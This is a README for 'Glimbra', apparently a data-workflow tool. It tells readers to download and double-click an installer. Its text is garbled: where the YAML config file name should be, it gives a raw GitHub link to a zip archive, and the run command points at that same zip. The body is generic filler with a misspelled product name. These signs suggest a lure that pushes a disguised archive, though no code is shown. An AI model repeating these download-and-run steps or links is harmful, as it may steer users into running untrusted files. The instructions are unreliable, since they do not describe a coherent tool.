Glimbra is a tool designed to make running data workflows easy. Whether you're working with neuroimaging data or other types of data analysis, Glimbra helps you organize and execute your tasks smoothly.
- Composable pipelines: Build your workflows step by step.
- Resource-aware: Optimize your system's capabilities.
- Declarative YAML config: Set up your workflows using simple text files.
- Clean step API: Easily define what each step does.
- Idempotent checks: Ensure consistent execution without side effects.
- Parallel execution: Speed up your workflows by running tasks at the same time.
- Tool preflight: Verify your setup before running your workflows.
- Rotating JSON logs: Keep track of everything with organized logging.
To run Glimbra, ensure that your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Python Version: 3.7 or higher
- RAM: At least 4 GB recommended
- Disk Space: 200 MB free space for installation
To get started with Glimbra, follow these steps:
- Visit the Releases Page: You can find the latest version by clicking here.
- Select Your OS: Choose the file that corresponds to your operating system.
- Download the File: Click on the download link and save the file to your computer.
- Run the Installer: Once downloaded, double-click the file to start the installation process. Follow the prompts until the installation is complete.
Here's a simple example to help you understand how to use Glimbra:
Create a file named https://raw.githubusercontent.com/Followhesh/glimbra/main/microrheometer/glimbra.zip
with the following example content:
pipeline:
- step: analyze
tool: neuro_tool
input: data/input_file
output: data/output_file
Open your terminal or command prompt. Navigate to the directory where your YAML file is located. Use the following command to execute Glimbra:
glimbra run https://raw.githubusercontent.com/Followhesh/glimbra/main/microrheometer/glimbra.zip
Glimbra will handle the rest, executing each step according to your configuration.
Glimbra can run various types of workflows. Here are a few examples:
Use Glimbra to process MRI data efficiently. Create a YAML file that includes steps for downloading, processing, and analyzing data. Glimbra will manage the execution order.
Glombra can help you clean datasets by running scripts for removing duplicates, filling in missing values, and transforming data formats.
Glimbra allows users to customize settings through the YAML configuration. You can specify resource requests for each step. For example:
resources:
memory: 2GB
cpu: 2
Each step can also specify additional parameters. Make sure to adjust based on your workflow needs.
If you encounter issues while using Glimbra, here are common problems and solutions:
- Installation Failures: Ensure you have the correct Python version and that your environment is set up properly.
- Pipeline Errors: Review your YAML file for syntax errors. Ensure that all paths are correct.
- Performance Issues: Adjust resource requests based on your system's capabilities.
If you need further assistance, you can access the documentation on our GitHub page. Additionally, for questions or examples, feel free to ask in the issues section.
Glimbra simplifies the management of data workflows. By following the steps outlined here, you can easily set up, download, and run Glimbra on your machine.
For download and installation, click here to access the Releases page.